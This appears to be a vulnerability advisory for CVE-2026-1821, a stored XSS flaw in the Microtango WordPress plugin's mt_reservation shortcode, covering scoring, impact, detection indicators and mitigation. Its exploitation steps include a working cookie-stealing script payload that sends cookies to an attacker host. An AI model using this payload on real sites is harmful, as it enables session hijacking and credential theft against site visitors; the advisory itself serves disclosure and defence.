CVE-2026-1821: 
WordPress vulnerability analysis and mitigation

CVE-2026-1821 is a Stored Cross-Site Scripting (XSS) vulnerability in the Microtango plugin for WordPress, affecting all versions up to and including 0.9.29. The flaw exists in the restkey parameter of the mt_reservation shortcode due to insufficient input sanitization and output escaping. It was published on February 11, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Feedly, Wordfence).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript via the restkey parameter in the mt_reservation shortcode. Because the malicious script is stored server-side and rendered to any user who visits the affected page, the scope of impact extends beyond the attacker's own session. No special configuration is required beyond having a Contributor account on the target WordPress site (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of all users who visit pages containing the injected shortcode, impacting both confidentiality (e.g., session cookie theft, credential harvesting) and integrity (e.g., page content manipulation, phishing redirects). Availability is not directly affected. Because the payload persists until removed, a single injection can affect a large number of site visitors over time, and administrator-level sessions could be hijacked to achieve full site compromise (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits opportunistic mass exploitation but remains a realistic threat in multi-author or open-registration WordPress environments (Feedly, Wordfence).

1. Obtain Contributor Access: Register or compromise a Contributor-level (or higher) account on the target WordPress site.
2. Create or Edit a Post: Navigate to the WordPress editor and create or edit a post or page where the mt_reservation shortcode can be inserted.
3. Inject Malicious Payload: Insert the shortcode with a crafted restkey parameter containing a JavaScript payload, e.g., [mt_reservation restkey="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the Content: Submit or update the post so the malicious shortcode is stored in the database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Feedly).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from Contributor-level accounts containing mt_reservation shortcode with unusual restkey values including HTML/script tags or encoded equivalents.
• Database: Unexpected <script> tags or JavaScript URIs stored in the wp_posts table within shortcode content associated with mt_reservation.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the mt_reservation shortcode (indicative of cookie exfiltration or redirects).
• File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

WordPress site administrators should update the Microtango plugin to a version beyond 0.9.29 if a patched release is available from the plugin vendor. If no patch is yet available, the recommended workaround is to restrict Contributor-level user registration and audit existing Contributor accounts for unauthorized shortcode usage. Additionally, deploying a Web Application Firewall (WAF) such as Wordfence can help detect and block XSS payloads targeting this parameter (Wordfence).

Wordfence included CVE-2026-1821 in its weekly WordPress vulnerability report for the period of February 9–15, 2026, as part of routine disclosure coverage. No notable independent researcher commentary, vendor statements beyond standard disclosure, or significant social media discussion has been identified for this vulnerability (Wordfence).